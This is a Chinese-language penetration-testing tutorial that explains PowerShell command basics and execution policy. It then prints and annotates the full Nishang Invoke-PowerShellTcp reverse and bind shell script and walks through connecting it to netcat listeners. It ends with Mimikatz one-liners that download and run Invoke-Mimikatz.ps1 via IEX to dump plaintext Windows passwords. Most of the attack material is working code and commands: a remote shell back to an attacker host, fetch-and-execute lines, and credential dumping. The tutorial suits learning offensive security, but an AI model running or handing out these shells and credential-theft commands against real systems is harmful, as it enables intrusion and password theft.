1. 程式人生 > >Powershell滲透測試系列–進階篇

Powershell滲透測試系列–進階篇

0×00 引言

經過基礎篇的學習我們已經對powershell有了一個基本的瞭解,接下來我們先補充一點基礎知識然後就嘗試去分析nishang中的優秀程式碼學會如何去使用指令碼最後實戰 。預告一下,第三篇高階篇帶你使用powershell遨遊內網。

0×01 補充知識

a 命令格式

<command -name > -< Required Parameter Name > <Required Parameter Value >
命令 -名稱 請求引數名 請求引數值
[ -< Optional Parameter Name > <Optional Parameter
Value >] [ -< Optional Switch Parameters >] [ -< Optional Parameter Name >] <Required Parameter Value >

b 等價別名

許多命令都有別名以及使用DOS的人或Unix這些可以非常熟悉。 別名是一種簡短的命令形式但是其作用是等價的。

Command Aliases (命令別名)
clear-host cls, clear
format-list fl
get-childitem gci, ls, dir
get-content gc, cat, type
get
-location gl, pwd get-member gm remove-item ri, rm, rmdir, del, erase, rd write-output write, echo

c 執行策略問題

Powershell指令碼執行策略是預設不允許執行任何指令碼,如果我們沒有修改過執行策略而直接執行可能出現以下問題。

image.png

解決辦法

首先檢視指令碼執行策略設定情況,可以通過 Get-ExecutionPolicyget-executionpolicy命令。如果顯示 Restricted  即不允許執行任何指令碼。使用管理員身份執行powerhsell然後執行命令:set-executionpolicy remotesigned  回車之後即可執行指令碼。

image.png

0×02 分析TCP互動式PowerShell指令碼

該指令碼取之於nishang這個框架,Nishang是一個PowerShell攻擊框架,它是PowerShell攻擊指令碼和有效載荷的一個集合。Nishang被廣泛應用於滲透測試的各個階段。下載地址:https://github.com/samratashok/nishang

先貼上其TCP互動式PowerShell指令碼(建立一個TCP正向連線或反向連線shell )程式碼如下:

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

https://github.com/nettitude/powershell/blob/master/powerfun.ps1


https://github.com/samratashok/nishang

註釋部分
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}

a 註釋部分

註釋部分描述了指令碼的概要、用途、指令碼的事例、參考連結等資訊。

<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

https://github.com/nettitude/powershell/blob/master/powerfun.ps1


https://github.com/samratashok/nishang

註釋部分
#>      

b Param執行引數部分

DefaultParameterSetName=”reverse” 說明預設採用反向shell連線的方式.可選引數和強制引數必須同時使用 reverse和bind可選預設值為reverse,但是$IPAddress和$Port必須進行設定。最後根據輸入的內容匹配型別獲取最終值。

 [CmdletBinding(DefaultParameterSetName="reverse")] Param(
                <# DefaultParameterSetName="reverse" 說明預設採用反向shell連線的方式。    
                   可選引數和強制引數必須同時使用 reverse和bind可選預設值為reverse,但是$IPAddress$Port必須                        進行設定。
                    $IPAddress 目標IP地址
                           $Port 目標埠
                #>   
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,
                <# 
                        根據輸入的內容匹配型別
                #>   
        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind
    )

c 主函式部分

  try 
    {
        # 連線有可能出錯所以這裡使用個異常處理trt catch,
        # 判斷是否存在對應值,如果存在建立TCP反向shell連線,本機充當客戶端。
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        # 判斷是否存在對應值,如果存在建立TCP正向shell連線,本機充當服務端。
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 
                # 構建資料流
        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #把靶機的相關資訊傳送到攻擊機中去
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #互動式資訊提示
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)
                # 判斷資料是否傳輸完成,不完成就傳輸完為止
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #執行命令,然後輸出
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                    # 異常處理
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            # 用於返回當前路徑
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            # 清楚錯誤
            $error.clear()
            $sendback2 = $sendback2 + $x

            #返回ASCII編碼過後的資料
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
            # 重新整理流
        }
        # 關閉連線
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
            # 異常處理
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }

0×03  指令碼使用

a 匯入命令模式

匯入命令模式就是先匯入ps1檔案到powershell然後可以直接在命令列執行函式。

Import-Module ‘.\Invoke-PowerShellTcp .ps1′

image.png

反向連線

第一步 :在攻擊機上使用nc監聽本地埠4444(先監聽後連線,不然會出錯。)

image.png

第二步:靶機執行連線命令

Invoke-PowerShellTcp -Reverse -IPAddress 攻擊機ip -Port 攻擊機監聽的埠

image.png

第三步: 成功連線,獲取shell

image.png

image.png

正向連線

第一步: 靶機開啟監聽

Invoke-PowerShellTcp -bind -port 4444

image.png

第二步: 攻擊機nc連線靶機

nc -nv 192.168.17.132 4444

第三步:成功連線,獲取到shell

image.png

image.png

b 非匯入命令模式

該模式不需要進行匯入powershell,直接執行指令碼。

正向連線

第一步: 在ps1檔案中加入執行監聽命令

Invoke-PowerShellTcp  -bind

image.png

第二步: 執行ps1檔案,設定監聽埠,開啟監聽

.\Invoke-PowerShellTcp.ps1

image.png

第三步: 攻擊機nc連線靶機,獲取shell

image.png

反向連線

第一步:攻擊機監聽埠

nc  -lvp 8888

image.png

第二步: 在ps1檔案中加入執行連線命令

Invoke-PowerShellTcp  -reverse 192.168.17.134 8888

image.png

第三步: 獲取shell

image.png

0×04 Mimikatz結合Powershell 獲取目標主機賬號密碼

實戰過程中在獲取低許可權使用者之後我們為了擴充套件戰果我們就不得不提權,在沒有0day的基礎上最簡單的提權方式就是直接獲取目標主機的管理員賬號密碼。說起獲取密碼就不得不提提Mimikatz 這款工具了。mimikatz是由C語言編寫的開源小工具,功能非常強大。它支援從Windows系統記憶體中提取明文密碼、雜湊、PIN碼和Kerberos憑證,以及pass-the-hash、pass-the-ticket、build Golden tickets等數種黑客技術

我這裡講的是Powershell結合Mimikatz的使用。實驗環境為騰訊雲的一臺伺服器window server 2008。

a  本地網路環境執行

第一步: 下載Invoke-Mimikatz.ps1

第二步:直接一句話執行

powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
#或者 本地搭建網路環境http://192.168.1.1/
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/');Invoke-Mimikatz -DumpCreds" 

<#

假如存在執行策略問題:

Get-ExecutionPolicy  //結果顯示restricted

Set-ExecutionPolicy Unrestricted  //開啟限制

Import-Module .\Invoke-Mimikatz.ps1 //匯入命令

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' //獲取密碼
#>

第三步:成功獲取明文密碼

image.png

b  線上網路環境執行

第一步:直接執行命令

在 Windows 2008 及以上作業系統中執⾏命令

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
ontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); I
nvoke-Mimikatz -DumpCreds"

注意點:靶機必須可以正常訪問raw.githubusercontent.com 網路,因為需要連線下載ps1檔案。 Windows Server 2014以上版本僅能獲取到NTLM值,無法正常獲取明文密碼。

第二步: 成功獲取明文密碼

image.pngimage.png

image.png

0×05 總結

本文重點學會分析指令碼,懂得分析別人寫的,然後自己寫一個類似的指令碼都是幾分鐘的事情。分析是為了去模仿好的,讓自己少走彎路,超越是我們要做的。緊接著我們講到了指令碼的使用然後舉了一個實戰例子獲取明文密碼。希望大家能學會去使用powershell,然後重視它,掌握它。

i春秋推出優享會員制,開通會員可以免費暢享多類課程、實驗、CTF賽題等付費內容,並可享有包括會員日專屬福利、就業推薦等多種特權福利,更多活動詳情可點選:https://bbs.ichunqiu.com/thread-40795-1-1.html瞭解哦~